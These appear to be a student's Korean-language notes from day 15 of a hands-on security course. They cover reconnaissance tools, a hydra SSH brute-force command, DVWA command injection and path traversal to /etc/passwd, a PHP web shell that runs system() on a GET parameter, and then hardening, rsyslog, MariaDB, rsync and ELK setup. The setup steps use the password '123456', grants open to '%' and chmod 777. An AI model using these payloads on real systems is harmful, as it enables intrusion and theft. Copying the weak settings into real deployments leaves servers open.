15일차

●15일차(20250109)
우분투 버전 : 24.10 (kernel : 6.11.0-13-generic)
apache2 버전 : 2.4.62
php 버전 : 8.3.11

utm 와이어 샤크를 보자

#공격별 와이어샤크
1. ping


2. nslookup


3. traceroute

> 망이 어떻게 구성되어있는지 어림잡아 알 수 있다.

4. nmap -v -sS -O st.kr


5. dnsenum

> dns만 계속 뜬다
> 노출되지 않아야 할 아이피가 노출된다

열려있는 포트 확인하고

6. nikto
> http


7. tail -f access.log
> win7 /var/log/apache2
> 패킷도 쌓이고 로그도 쌓이고


#시스템 사용자를 찾아라
kali > ssh 125.246.95.152
> kali로 접속하는것

ssh 루트접속 가능여부
cat /etc/ssh/sshd_config

> Authentication 에서 확인 가능
> permitRootLogin prohibit-password (주석제거)
> 우분투는 웬만하면 root접속이 막혀있다

#root로 들어갈 수 있는 계정을 찾아라
1. 히드라 공격
> dvwa 취약점 공개가 안됐을때
> 윈도우 var/log auth.log (접속관련 로그)
> hydra -L user.txt. -P passwd.txt st.kr ssh (공격)
> wireshark 에서 ssh로 보임
> hydra를 통해 암호와 계정을 알게된다
> ssh master@125.246.95.152

2. 웹취약점
> 내가 원하는 계정을 웹사이트를 통해 볼 수 있다. (dvwa)
> adduser word, dvwa, web1, web2 >cat /etc/passwd에 저장이 됨
> 저 파일에 들어가면 어떤 계정이 들어가있는지 알 수 있게 된다 (리눅스책 p200)
> 사용자이름:암호:사용자 Id:사용자가 소속된 그룹 id 추가정보:홈디렉토리:기본셸
> 개발자가 웹 프로그래밍을 잘못해서 리눅스에서 들어가야하는 경로를 웹에서 확인이 가능한 것이다
-> 웹프로그래밍에도 보안 작업이 들어가야한다

2-1. dvwa
> dvwa security LOW로 두고 시작

#Command injection
> injection은 항상 위험
> 1.1.1.1; cat /etc/passwd (라우터에 ping 넣고 etc/passwd를 확인해 라는 뜻)

#file inclusion
: 파일 위치를 파악해서 불러올 수가 있다

http://dvwa.st.kr/vulnerabilities/fi/?page=include.php
> include.php에 불러오고자 하는 파일을 넣어 화면에 띄울 수 있다

http://dvwa.st.kr/vulnerabilities/fi/?page=file1.php
>file1을 누르면 file1.php로 이동하면서 안에 데이터가 나온다
>file1은 /home/dvwa/public_html/vulnerabilities/fi에 있다

http://dvwa.st.kr/vulnerabilities/fi/?page=../../../../../../../etc/passwd
> 경로를 알아낸다면 etc/passwd 파일 또한 불러올 수가 있다는것
> 굳이 경로를 다 쓰지 않고 몇번째인지 맟춰가며 ../만 쳐도 들어갈 수 있다.

#File Upload
: attack.php를 업로드한다

[kali]
cd /home/kali
nano attack.php

<?php
 $cmd = $_GET['cmd'];
 $result = system($cmd);
 
 echo "<br>";
 echo "<hr>";
 echo $result;
?>
dvwa에 파일 업로드

[win7]
cd ~
cd /public_html/hackable/uploads 에 올라가게 된다
> 이 경로는 직접 찾아줘야함
> 근데 이미지를 올려서 클릭하면 경로가 나와서 이미지를 올리는데 조금 더 수월하긴하다

업로드가 안되면
Writable folder /home/dvwa/public_html/hackable/uploads/: Yes
Writable folder /home/dvwa/public_html/config: Yes
> no로 되어있을거임
> 찾아가서 풀어주자
> chmod 777 config
> chmod 777 uploads
> 경로 한단계 아래에서 해주면 됨

kail firefox에서
/hackable/uploads/attack.php?cmd=ls
/hackable/uploads/attack.php?cmd=cat /etc/passwd

> 리눅스에서 보았던 /etc/passwd가 보인다

#방어
1. 포트번호를 바꾼다
2. 관리자 IP만 서버에 접속될 수 있게 만들어야 한다

2-1. ssh 접근 차단
win7
일단 ip 확인
192.168.0.4

nano /etc/hosts.allow
> 192.168.0.4

nano /etc/hosts.deny
> ALL:ALL (주석제거)
--> 무조건 allow부터 하고 deny를 수정

kali
ssh master@st.kr


2-2. ssh 번호를 변경하자
nano /etc/ssh/sshd_config

#selk 데이터베이스 설정
xsehll로 들어감
nano /etc/hostname
LOG.st.kr

nano /etc/rsyslog.conf
서버는 포트(514)를 열고 3대 서버로부터 데이터가 전송되는 것을 기다림
#module(load="imtcp")
#input(type="imtcp" port="514")
> 주석해제
$AllowedSender TCP, 127.0.0.1 10.0.2.0/24, *.st.kr
$AllowedSender TCP,10.0.2.0/24, *.st.kr
> 추가

apt -y install net-tools
systemctl restart rsyslog
netstat -ant | grep 514
> 포트 확인

#로그를 데이터베이스에 저장하기
1. 설치
sudo apt update
apt -y install mariadb-server
apt -y install rsyslog-mysql
> 데이터베이스 설치
> 설정하는 창이 나올거임 > 설정 허용, 비밀번호: 123456

systemctl restart rsyslog

rsyslogd -N1
systemctl status rsyslog

2. 데이터베이스 확인
mysql
use Syslog;
desc SystemEvents;
select * from SystemEvents;
> Empty Set (비어있음)

ssh 192.168.0.126 -> 확인용 201에서 계속해주면 됨
mysql
use Syslog;
desc SystemEvents;
select * from SystemEvents;
> 너무 많다
select FromHost,Message from SystemEvents limit 0, 10;
> 제한돼서 나옴

3. rsyslog 세팅
nano /etc/rsyncd.conf
-----------------------------
[backup]
path = /backup

hosts allow = 10.0.2.15
hosts deny = *
list = true
uid = root
gid = root
read only = false
-----------------------------
systemctl start rsync

home/master

cd /
mkdir /backup
systemctl enable rsync

#SELK
1. 설치
sudo apt -y install default-jre
sudo apt -y install default-jdk
sudo apt -y install nginx

curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch |sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg
echo "deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list

sudo apt update
sudo apt -y install elasticsearch
/etc/elasticsearch/elasticsearch.yml

sudo systemctl start elasticsearch
sudo systemctl enable elasticsearch
curl -X GET "localhost:9200"

sudo apt -y install kibana
sudo systemctl start kibana
sudo systemctl enable kibana

sudo apt -y install logstash

ln -sf /usr/share/zoneinfo/Asia/Seoul /etc/localtime

systemctl start rsync
systemctl enable rsync
netstat -ant | grep 514

2. 데이터베이스 세팅
> db는 외부접속이 허용 안되어있음

nano /etc/mysql/mariadb.conf.d/50-server.cnf
127.0.0.1 > 0.0.0.0
-> wordbench 10.0.2.3에 들어가짐
-> systemctl restart mariadb

su
cd /etc/rsyslog.d
nano /etc/rsyslog.d/50-default.conf
맨 마지막 줄에 붙혀넣기

action(type="omfwd"
       queue.filename="IP201.jeonjucom.kr"
       queue.maxdiskspace="1g"
       queue.saveonshutdown="on"
       queue.type="LinkedList"
       action.resumeRetryCount="-1"
       Target="10.0.2.3" Port="514" Protocol="tcp")
> 서버에 붙혀 넣어줘야 서버에서 백업서버로 가게 되는것
> netstat -ant | grep 514
> 백업서버에서도 이렇게 치면 10.0.2.15로 연결된 514번이 나온다
> 백업서버에서 auth.log에 들어가면 서버가 로그인 했던 기록이 남아있다

log 서버에 들어가서
mysql
use Syslog

CREATE USER rsyslog@'192.168.0.201' IDENTIFIED BY '123456';
GRANT ALL Syslog.* to rsyslog@'192.168.0.201';
FLUSH PRIVILEGES;

CREATE USER rsyslog@'%' IDENTIFIED BY '123456';
GRANT ALL Syslog.* to rsyslog@'%';
FLUSH PRIVILEGES;
-> 모든 사람을 받아준다는 뜻
-> 원래 쓰면 안됨

내가 192.168.0.201로 설정해서
win7에서 ip를 수동으로 넣어줬음
dns 10.0.2.15

3대서버
0.0.0.0 모든대역대에서 접근할 수 있도록 설정

일단 우분투 서버에서
nano /etc/hosts.allow
> 192.168.0.201
> 이래야 win7에서 서버로 접속이 됨
> 우리가 아까 막아놓음

CREATE DATABASE word;
CREATE USER 'word'@'%' IDENTIFIED BY '123456';
GRANT ALL PRIVILEGES ON word.* TO 'word'@'%';
FLUSH PRIVILEGES;

CREATE USER 'word'@'192.168.0.201' IDENTIFIED BY '123456';
GRANT ALL PRIVILEGES ON word.* TO 'word'@'192.168.0.201';
FLUSH PRIVILEGES;

CREATE DATABASE dvwa;
CREATE USER 'dvwa'@'%' IDENTIFIED BY '123456';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'%';
FLUSH PRIVILEGES;

CREATE USER 'dvwa'@'192.168.0.201' IDENTIFIED BY '123456';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'192.168.0.201';
FLUSH PRIVILEGES;

-> localhost는 이미 넣어진 상태여야한다

rsync -avz --delete --exclude-from=/etc/rsync_exclude.lst /backup 10.0.2.3::backup
> 10.0.2.3이 log.st.kr로 지정이 안되면 백업이 안될 수도 있으니 이렇게도 넣어보자